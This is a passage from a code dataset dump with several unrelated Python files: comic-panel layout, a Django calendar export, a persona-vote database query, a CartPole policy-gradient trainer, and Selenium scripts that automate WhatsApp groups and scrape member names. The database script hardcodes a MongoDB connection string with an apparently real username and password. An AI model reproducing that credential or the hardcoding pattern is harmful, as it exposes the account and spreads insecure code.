50),\n label_rect.bottom <= (height - 20),\n label_rect.flex_center(stick_figure, 0, 5),\n label_rect.flex_below(stick_figure, 2, 5))\n label_rects.append(label_rect)\n\n dialogs = []\n\n adjoining_lines = []\n\n # add stick figure constraints\n for left, right in zip(stick_figure_list, stick_figure_list[1:]):\n s.add(right.flex_right_of(left, 5, 100),\n right.flex_top(left, 0, 10))\n\n s.add(geom.abs(stick_figure_list[0].left -\n (width - stick_figure_list[-1].right)) < 100)\n\n if self.dialog_texts:\n # create dialog rects\n for i, dialog_text in enumerate(self.dialog_texts):\n dialog = text.make_text(ctx, s, dialog_text.text)\n\n s.add(rect_frame_constraints(dialog.rect),\n dialog.rect.left >= 50, dialog.rect.right <= (width - 50),\n dialog.rect.top >= 50)\n\n my_dialogs = speaker_dialogs[dialog_text.speaker]\n\n dialogs.append(dialog)\n my_dialogs.append(dialog)\n\n # position dialogs close to each other\n for above, below in zip(dialogs, dialogs[1:]):\n s.add(above.rect.flex_above(below.rect, 25, 100))\n\n # add stick_figure dialog-specific constraints\n for i, stick_figure in enumerate(stick_figure_list):\n my_dialogs = speaker_dialogs[self.stick_figures[i]]\n\n if my_dialogs:\n # add adjoining line between the last dialog line and the stick figure\n adjoining_lines.append(make_adjoining_line(\n s, my_dialogs[-1].rect, stick_figure,\n \"adjoining_line_stick_figure_\" + str(i)))\n\n # add adjoining lines between each dialog\n for above, below in zip(my_dialogs, my_dialogs[1:]):\n adjoining_lines.append(make_adjoining_line(\n s, above.rect, below.rect, hex(id(above)) + \".\" + hex(id(below))))\n\n my_dialog = None\n for my_dialog in my_dialogs:\n # keep the dialog centered by the stick figure\n s.add(my_dialog.rect.flex_center(stick_figure, 0, 25))\n\n if my_dialog is not None:\n # make sure the stick_figure is below this dialog\n s.add(stick_figure.below(my_dialog.rect))\n\n # position last dialog line above its speaker\n last_speaker = stick_figure_list[\n self.stick_figures.index(self.dialog_texts[-1].speaker)]\n last_dialog = dialogs[-1]\n\n s.add(last_dialog.rect.flex_above(last_speaker, 25, 100))\n\n assert s.check() == z3.sat\n model = s.model()\n\n ctx.set_source_rgb(0.0, 0.0, 0.0)\n\n # draw adjoining lines\n for adjoining_line in adjoining_lines:\n m = adjoining_line.extract_model(model)\n ctx.move_to(m.x0, m.y0)\n handdraw.line(ctx, m.x1, m.y1)\n ctx.close_path()\n\n ctx.stroke()\n\n # draw dialog\n for dialog in dialogs:\n for word in dialog.words:\n r = word.rect.extract_model(model)\n\n ctx.save()\n ctx.set_source_rgb(1.0, 1.0, 1.0)\n ctx.rectangle(r.left - 5, r.top -5, r.width + 10, r.height + 10)\n ctx.fill()\n ctx.restore()\n\n for word in dialog.words:\n r = word.rect.extract_model(model)\n\n ctx.save()\n ctx.move_to(r.left, r.top + ascent)\n ctx.show_text(word.text)\n ctx.restore()\n\n # draw border\n handdraw.rectangle(ctx, 10, 10, width - 10, height - 10)\n\n # draw stick figures\n for stick_figure in stick_figure_list:\n m = stick_figure.extract_model(model)\n ctx.save()\n ctx.translate(m.left + 50, m.top)\n draw_stick_figure(ctx)\n ctx.restore()\n\n ctx.stroke()\n\n # draw labels\n for label, label_rect in zip(self.stick_figures, label_rects):\n m = label_rect.extract_model(model)\n ctx.move_to(m.left, m.top + ascent)\n ctx.show_text(label)\n\n\nclass Comic(object):\n TITLE_SIZE = 30\n TEXT_SIZE = 15\n\n def __init__(self, title, panels, panel_width, panel_height, panels_per_row):\n self.title = title\n self.panels = panels\n self.panel_width = panel_width\n self.panel_height = panel_height\n self.panels_per_row = panels_per_row\n\n @property\n def width(self):\n return self.panel_width * self.panels_per_row + 20\n\n @property\n def height(self):\n return self.panel_height * \\\n math.ceil(len(self.panels) / self.panels_per_row) \\\n + self.TITLE_SIZE + 20\n\n def draw(self, ctx):\n ctx.save()\n ctx.select_font_face(\"Buttweasel\")\n ctx.set_font_size(self.TITLE_SIZE)\n ctx.rectangle(0, 0, self.width, self.height)\n ctx.set_source_rgb(1.0, 1.0, 1.0)\n ctx.fill()\n ctx.set_source_rgb(0.0, 0.0, 0.0)\n ctx.set_line_width(3)\n ctx.set_line_cap(cairo.LINE_CAP_ROUND)\n\n ctx.save()\n ascent, descent, h, max_x_advance, max_y_advance = ctx.font_extents()\n x_bearing, y_bearing, w, _, x_advance, y_advance = ctx.text_extents(\n self.title)\n ctx.move_to((self.panel_width * self.panels_per_row - w) / 2 + random.randint(-2, 2),\n ascent + self.TITLE_SIZE - h / 2 + random.randint(-2, 2))\n ctx.show_text(self.title)\n ctx.restore()\n\n ctx.set_font_size(self.TEXT_SIZE)\n\n for i, panel in enumerate(self.panels):\n x = i % self.panels_per_row\n y = i // self.panels_per_row\n\n ctx.save()\n ctx.translate(x * self.panel_width + 10,\n y * self.panel_height + self.TITLE_SIZE + 10)\n panel.draw(ctx, self.panel_width, self.panel_height)\n ctx.restore()\n\n ctx.restore()", "sub_path": "comic/comic.py", "file_name": "comic.py", "file_ext": "py", "file_size_in_byte": 9046, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "collections.namedtuple", "line_number": 12, "usage_type": "call"}, {"api_name": "comic.geom.Rectangle", "line_number": 16, "usage_type": "call"}, {"api_name": "comic.geom", "line_number": 16, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 23, "usage_type": "call"}, {"api_name": "comic.handdraw.circle", "line_number": 24, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 24, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 24, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 27, "usage_type": "call"}, {"api_name": "comic.handdraw.dot", "line_number": 29, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 29, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 29, "usage_type": "call"}, {"api_name": "comic.handdraw.dot", "line_number": 30, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 30, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 31, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 32, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 35, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 36, "usage_type": "call"}, {"api_name": "comic.handdraw.line", "line_number": 37, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 37, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 38, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 39, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 43, "usage_type": "call"}, {"api_name": "comic.handdraw.line", "line_number": 45, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 45, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 49, "usage_type": "call"}, {"api_name": "comic.handdraw.line", "line_number": 51, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 51, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 52, "usage_type": "call"}, {"api_name": "comic.handdraw.line", "line_number": 56, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 56, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 57, "usage_type": "call"}, {"api_name": "comic.handdraw.line", "line_number": 62, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 62, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 63, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 64, "usage_type": "call"}, {"api_name": "comic.handdraw.line", "line_number": 68, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 68, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 69, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 70, "usage_type": "call"}, {"api_name": "comic.geom.Line", "line_number": 81, "usage_type": "call"}, {"api_name": "comic.geom", "line_number": 81, "usage_type": "name"}, {"api_name": "z3.And", "line_number": 92, "usage_type": "call"}, {"api_name": "z3.And", "line_number": 96, "usage_type": "call"}, {"api_name": "z3.Optimize", "line_number": 101, "usage_type": "call"}, {"api_name": "comic.geom.Rectangle", "line_number": 120, "usage_type": "call"}, {"api_name": "comic.geom", "line_number": 120, "usage_type": "name"}, {"api_name": "comic.geom.abs", "line_number": 139, "usage_type": "call"}, {"api_name": "comic.geom", "line_number": 139, "usage_type": "name"}, {"api_name": "comic.text.make_text", "line_number": 145, "usage_type": "call"}, {"api_name": "comic.text", "line_number": 145, "usage_type": "name"}, {"api_name": "z3.sat", "line_number": 191, "usage_type": "attribute"}, {"api_name": "comic.handdraw.line", "line_number": 200, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 200, "usage_type": "name"}, {"api_name": "comic.handdraw.rectangle", "line_number": 225, "usage_type": "call"}, {"api_name": "comic.handdraw", "line_number": 225, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 262, "usage_type": "call"}, {"api_name": "cairocffi.LINE_CAP_ROUND", "line_number": 274, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 280, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 281, "usage_type": "call"}]} +{"seq_id": "419122835", "text": "from django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nfrom .forms import UploadText, convert2calendar, get_time, create_csv_download\n\nimport csv\n\ndef index(request):\n if request.method == 'POST':\n form = UploadText(request.POST)\n if form.is_valid():\n data = convert2calendar(form.cleaned_data['regHtml'])\n open_day = form.cleaned_data['open_date_semester']\n end_day = form.cleaned_data['end_date_semester']\n\n content = create_csv_download(open_day, end_day, data)\n\n response = HttpResponse(content_type='text/ics')\n response['Content-Disposition'] = 'attachment; filename=\"export.ics\"'\n response.write(content)\n return response\n\n else:\n form = UploadText()\n return render(request, 'genclass/index.html', {'form': form})", "sub_path": "gcalendar_gen_class/genclass/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 878, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "forms.UploadText", "line_number": 9, "usage_type": "call"}, {"api_name": "forms.convert2calendar", "line_number": 11, "usage_type": "call"}, {"api_name": "forms.create_csv_download", "line_number": 15, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 17, "usage_type": "call"}, {"api_name": "forms.UploadText", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "150083162", "text": "import operator\nimport MySQLdb\nimport pymongo\nfrom pymongo import MongoClient\n#connect to databases\nclient = MongoClient(host='mongodb://austincapobianco:fucksluts10@ds037244.mongolab.com:37244/personanexus', port=37244)\ndb = client['personanexus']\ncollection = db['rawVoteData']\n\n\ndb=MySQLdb.connect(host=\"localhost\", user=\"root\", passwd=\"\", db=\"test\", port=3306)\nmysqlcursor = db.cursor()\n\n\n\n#mysqlcursor.execute(\"\"\"SELECT * FROM plsql;\"\"\")\n#fetch all personas\n#print(mysqlcursor.fetchall())\n\n#mysqlcursor.execute(\"\"\"SELECT * FROM pglsql;\"\"\")\n#fetch all persona groups\n#print(mysqlcursor.fetchall())\n\n#two inputs\n#personaID and groupID (fire from group 1 and the directions group)\ninitialQueryPID = 9\nqueryGID = 5\n\n#get all personaIDs associated with queryGID\nPIDsInGID = []\nmysqlcursor.execute(\"\"\"SELECT personaID FROM plsql WHERE groupID = %s;\"\"\", (queryGID,))\nfor item in mysqlcursor.fetchall():\n #print(item)\n PIDsInGID += item\n\nPIDdict ={}\n#for each one find the yesvotes/totalvotes\nfor PID in PIDsInGID:\n cursor = collection.find({\"$and\": [{\"personacombo\":initialQueryPID},{\"personacombo\":PID}] }, projection={'yesvotes':1,'totalvotes':1})\n for document in cursor:\n ratio = document['yesvotes']/document['totalvotes']\n PIDdict[PID] = ratio\n #print(str(PID) + ':' + str(ratio))\n #print(document['yesvotes'])\nprint(PIDdict)\nif any(PIDdict) == False: #check if dict is empty first\n print(\"sorry bro not enough data\")\n#dict.item instead of dict.iteritems cause python 3\nelse: print(max(PIDdict.items(), key=operator.itemgetter(1))[0])\n \n", "sub_path": "process_personanexus_data_old.py", "file_name": "process_personanexus_data_old.py", "file_ext": "py", "file_size_in_byte": 1587, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pymongo.MongoClient", "line_number": 6, "usage_type": "call"}, {"api_name": "MySQLdb.connect", "line_number": 11, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "633267675", "text": "# A simple policy gradient approach for CartPole based on OpenAI\n# spinning up:\n# https://spinningup.openai.com/en/latest/spinningup/rl_intro3.html#other-forms-of-the-policy-gradient\n#\n# The trained model is able to get solve CartPole under a specified\n# default_max_steps.\n\nimport gym\nimport numpy as np\nimport tensorflow as tf\n\nfrom absl import logging\nfrom drl_playground.test_env.bandit import BanditEnv\nfrom tqdm import tqdm\n\nlogging.set_verbosity(logging.INFO)\n\n# Set up the gym environment and global variables related to the environment.\nenv = gym.make('CartPole-v0')\n\n# Swap to a simple bandit testing environment.\n# env = BanditEnv()\nobservation_dim = env.observation_space.shape[0] # 4\nactions_dim = env.action_space.n # 2\ndefault_max_steps = 100\n\n\ndef build_policy_net():\n \"\"\"\n Build the model for the policy network. The input to the model is a batch of\n observations (None, 4,) and the output is a batch of actions (None, 2,).\n\n Returns:\n model(tf.keras.Model): the sequential policy network.\n\n \"\"\"\n model = tf.keras.models.Sequential([\n tf.keras.layers.Dense(6, batch_input_shape=(None, observation_dim)),\n tf.keras.layers.Activation('relu'),\n # Hidden layers. TODO: make the hidden layers neuron counts tunable.\n tf.keras.layers.Dense(actions_dim),\n ])\n return model\n\n\ndef compute_average_return(model, n_episodes, max_steps=default_max_steps,\n render=False):\n \"\"\"Computes the average cumulative rewards for a model among n episodes.\n\n Args:\n model(tf.keras.Model): the model to be evaluated.\n n_episodes(int): the number of episodes to run, defaults to 20.\n max_steps(int): the max number of steps before terminating an episode.\n render(bool): whether we render the CartPole environments while\n running these simulations.\n\n Returns:\n avg_return(float): the average cumulative reward for the n episodes.\n\n \"\"\"\n sum_episodes_returns = 0\n for episode in range(n_episodes):\n episode_return = 0\n observation = env.reset()\n for t in range(max_steps):\n if render:\n env.render()\n\n action_logits = model.predict(np.expand_dims(observation, axis=0))[\n 0]\n # Select the action greedily at inference time.\n action = np.argmax(action_logits)\n logging.debug(\"selected action: {}\".format(action))\n observation, reward, done, _ = env.step(action)\n episode_return += reward\n if done:\n logging.info(\"Episode finished after {} time steps\".format(t +\n 1))\n break\n\n sum_episodes_returns += episode_return\n logging.info(\"The return for episode {} is {}\".format(episode,\n episode_return))\n\n avg_return = sum_episodes_returns * 1.0 / n_episodes\n\n return avg_return\n\n\n@tf.function\ndef get_loss(reward_weights, action_logits, actions, in_progress):\n \"\"\"Get the loss tensor (None, ) where None represents the batch size.\n\n This follows the simple policy gradient loss function from OpenAI\n spinning up:\n https://spinningup.openai.com/en/latest/spinningup/rl_intro3.html#other-forms-of-the-policy-gradient\n\n Args:\n reward_weights(Tensor): shape (None, 1), dtype float32, cumulative\n rewards per episode used as weights for the policy gradient. None\n represents the number of episodes.\n action_logits(Tensor): shape (None, None, 2), dtype float32, - (episode\n number, time step, the policy model's output logit).\n actions(Tensor): shape(None, None, ) dtype int64 - (batch size,\n time step, ), the true action that was taken at this step.\n in_progress(Tensor): shape (None, None, ), dtype float32, a 0/1 value\n indicating whether the episode was in progress at an action.\n Returns:\n A loss tensor with shape (None, ), dtype float 32 - (batch_size, ). The\n gradient of the defined loss is equivalent to the policy gradient.\n\n \"\"\"\n # actions_one_hot shape: (batch_size, action_steps, action_dim)\n actions_one_hot = tf.one_hot(actions, depth=actions_dim,\n dtype=tf.float32, axis=-1)\n # masked_log_softmax shape: (batch_size, action_steps, 2)\n masked_log_softmax = tf.nn.log_softmax(action_logits) * tf.expand_dims(\n in_progress, -1)\n # log_probs shape: (batch_size, action_steps)\n log_probs = tf.reduce_sum(\n masked_log_softmax * tf.cast(\n actions_one_hot, dtype=tf.float32), axis=-1)\n # loss shape: (batch_size, )\n loss = -tf.reduce_mean(reward_weights * log_probs, axis=-1)\n return loss\n\n\ndef train(model, batch_size, max_steps=default_max_steps):\n \"\"\"Perform one gradient update to the model for a batch of episodes.\n\n This follows the simple policy gradient loss function from OpenAI\n spinning up:\n https://spinningup.openai.com/en/latest/spinningup/rl_intro3.html#other-forms-of-the-policy-gradient\n\n Args:\n model(tf.keras.Model): the model to be trained, generated from\n build_policy_net.\n batch_size: the number of episodes in a batch.\n max_steps: the max number of steps the agent can take before we\n declare the game as \"done\".\n\n \"\"\"\n # TODO: Run each episode in parallel to speed up training.\n # a list of action logits tensors for all actions in all episodes. Shape: (\n # batch_size, max_steps, action_logits_tensor).\n all_action_logits = []\n all_actions = []\n # a list of 1/0s representing whether the episode is still in progress or\n # has already finished, for all actions and all episodes.\n all_in_progress = []\n # a list of cumulative rewards tensors for all episodes. Shape (\n # batch_size, reward_tensor).\n all_rewards = []\n\n with tf.GradientTape() as tape:\n tape.watch(model.trainable_weights)\n for _ in range(batch_size):\n obs = env.reset()\n\n eps_rewards = 0\n eps_observations = []\n\n time = 0\n eps_action_logits = []\n eps_actions = []\n eps_in_progress = []\n done = False\n while time < max_steps:\n eps_in_progress.append(\n tf.constant(int(not done), dtype=tf.float32))\n if done:\n eps_action_logits.append(tf.constant(\n 0, dtype=tf.float32, shape=(actions_dim,)))\n eps_actions.append(tf.constant(0, dtype=tf.int64))\n eps_observations.append(tf.constant(0,\n dtype=tf.float32,\n shape=(\n observation_dim,)))\n else:\n eps_observations.append(obs)\n # action_logit shape: (1, 2).\n action_logit = model(np.expand_dims(obs, axis=0))\n eps_action_logits.append(action_logit[0])\n\n # TODO: add temperature for exploration tuning.\n action = tf.random.categorical(action_logit,\n num_samples=1)[0][0]\n eps_actions.append(action)\n obs, reward, done, _ = env.step(action.numpy())\n eps_rewards += reward\n\n time += 1\n\n all_action_logits.append(eps_action_logits)\n all_actions.append(eps_actions)\n all_rewards.append([eps_rewards])\n all_in_progress.append(eps_in_progress)\n\n packed_all_action_logits = tf.stack(all_action_logits)\n packed_all_action_logits = tf.stack(packed_all_action_logits)\n packed_all_actions = tf.stack(all_actions)\n packed_all_actions = tf.stack(packed_all_actions)\n\n loss = get_loss(tf.stack(all_rewards),\n tf.stack(packed_all_action_logits),\n tf.stack(packed_all_actions),\n tf.stack(all_in_progress))\n\n gradient = tape.gradient(loss, model.trainable_weights)\n opt = tf.keras.optimizers.Adam(learning_rate=0.01)\n logging.debug(\"loss: {} \\n, gradient: {} \\n, trainable weights: {} \"\n \"\\n\".format(\n loss, gradient, model.trainable_weights))\n opt.apply_gradients(zip(gradient, model.trainable_weights))\n\n\n# Initialize the agent with random weights and evaluate its performance.\npolicy_net = build_policy_net()\nrandom_model_reward = compute_average_return(policy_net, n_episodes=10)\nlogging.info(\"The average reward among all episodes for a randomly initialized \"\n \"model is {}\".format(random_model_reward))\n\nnum_batch = 100\nfor i in tqdm(range(num_batch)):\n train(policy_net, batch_size=128)\ntrained_model_reward = compute_average_return(policy_net, n_episodes=10)\nlogging.info(\n \"The average reward among all episodes for a trained model is {}.\".format(\n trained_model_reward))\nenv.close()\n", "sub_path": "drl_playground/policy_gradient/vanilla_cartpole_main.py", "file_name": "vanilla_cartpole_main.py", "file_ext": "py", "file_size_in_byte": 9245, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "absl.logging.set_verbosity", "line_number": 16, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 16, "usage_type": "name"}, {"api_name": "absl.logging.INFO", "line_number": 16, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 72, "usage_type": "call"}, {"api_name": "absl.logging.debug", "line_number": 73, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 73, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 77, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 77, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 82, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 82, "usage_type": "name"}, {"api_name": "tensorflow.one_hot", "line_number": 114, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.log_softmax", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 121, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 124, "usage_type": "call"}, {"api_name": "tensorflow.function", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.GradientTape", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 172, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 173, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 174, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 182, "usage_type": "call"}, {"api_name": "tensorflow.random.categorical", "line_number": 186, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 186, "usage_type": "attribute"}, {"api_name": "tensorflow.stack", "line_number": 199, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 200, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 201, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 202, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 204, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 205, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 206, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 210, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 210, "usage_type": "attribute"}, {"api_name": "absl.logging.debug", "line_number": 211, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 211, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 220, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 220, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 224, "usage_type": "call"}, {"api_name": "absl.logging.info", "line_number": 227, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 227, "usage_type": "name"}]} +{"seq_id": "294779974", "text": "from selenium import webdriver\nfrom time import sleep\nimport sys\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nfrom session import open_session\n\n\ndef create_group(groupname, contacts, browser=None):\n shouldreturnbrowser = False\n if browser == None:\n shouldreturnbrowser = True\n # data-testid=\"menu\"\n browser = open_session()\n sleep(2)\n browser.find_element_by_css_selector('[data-testid=menu]').click()\n sleep(2)\n browser.find_element_by_css_selector('[title=\"New group\"]').click()\n sleep(8)\n inputbox = browser.find_element(By.CLASS_NAME, \"_17ePo\")\n for name in contacts:\n inputbox.send_keys(name)\n sleep(5)\n inputbox.send_keys(Keys.TAB + Keys.ENTER)\n sleep(1)\n browser.find_element_by_css_selector('[data-testid=\"arrow-forward\"]').click()\n sleep(1)\n browser.find_element(By.CLASS_NAME, \"_3FRCZ\").send_keys(groupname)\n sleep(1)\n browser.find_element(By.CLASS_NAME, \"_3y5oW\").click()\n sleep(3)\n if shouldreturnbrowser:\n return browser\n\n\ndef scrape_members_from_group(groupname, browser=None):\n members = []\n browser = open_session()\n inputbox = browser.find_element(By.CLASS_NAME, \"_3FRCZ\")\n inputbox.send_keys(groupname)\n sleep(5)\n inputbox.send_keys(Keys.TAB)\n sleep(3)\n browser.find_element(By.CSS_SELECTOR, \".DP7CM\").click()\n sleep(2)\n browser.find_element(By.CSS_SELECTOR, \"._3lS1C\").click()\n sleep(2)\n browser.find_element(By.CSS_SELECTOR, \"._3FRCZ\").click()\n sleep(1)\n preactive = None\n curractive = browser.switch_to.active_element\n while True:\n curractive.send_keys(Keys.ARROW_DOWN)\n curractive = browser.switch_to.active_element\n if curractive == preactive:\n break\n members.append(curractive.find_element(By.CSS_SELECTOR, \"._3ko75\").get_attribute('innerText'))\n preactive = curractive\n\n return members\n\ndef make_group_admins(groupname, members, browser=None):\n browser = open_session()\n inputbox = browser.find_element(By.CLASS_NAME, \"_3FRCZ\")\n inputbox.send_keys(groupname)\n sleep(5)\n inputbox.send_keys(Keys.TAB)\n sleep(3)\n browser.find_element(By.CSS_SELECTOR, \".DP7CM\").click()\n sleep(2)\n browser.find_element(By.CSS_SELECTOR, \"._3lS1C\").click()\n sleep(2)\n browser.find_element(By.CSS_SELECTOR, \"._3FRCZ\").click()\n sleep(1)\n preactive = None\n curractive = browser.switch_to.active_element\n while True:\n curractive.send_keys(Keys.ARROW_DOWN)\n sleep(1)\n curractive = browser.switch_to.active_element\n if curractive == preactive:\n break\n name = curractive.find_element(By.CSS_SELECTOR, \"._3ko75\").get_attribute('innerText')\n if name in members:\n try:\n curractive.find_element(By.CSS_SELECTOR, \".LwCwJ\")\n except:\n curractive.click()\n sleep(1)\n browser.find_element(By.CSS_SELECTOR, \".Ut_N0\").click()\n sleep(1)\n preactive = curractive\n sleep(3)\n\n# make_group_admins(\"yess\", [\"Navpreet Devpuri\", \"TiDdi\"])", "sub_path": "tithiwa/groups.py", "file_name": "groups.py", "file_ext": "py", "file_size_in_byte": 3316, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "session.open_session", "line_number": 19, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 25, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 25, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.TAB", "line_number": 29, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 29, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 29, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 33, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 33, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 35, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 35, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "session.open_session", "line_number": 43, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 44, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 44, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.TAB", "line_number": 47, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 47, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 49, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 51, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 51, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 53, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 53, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 54, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.ARROW_DOWN", "line_number": 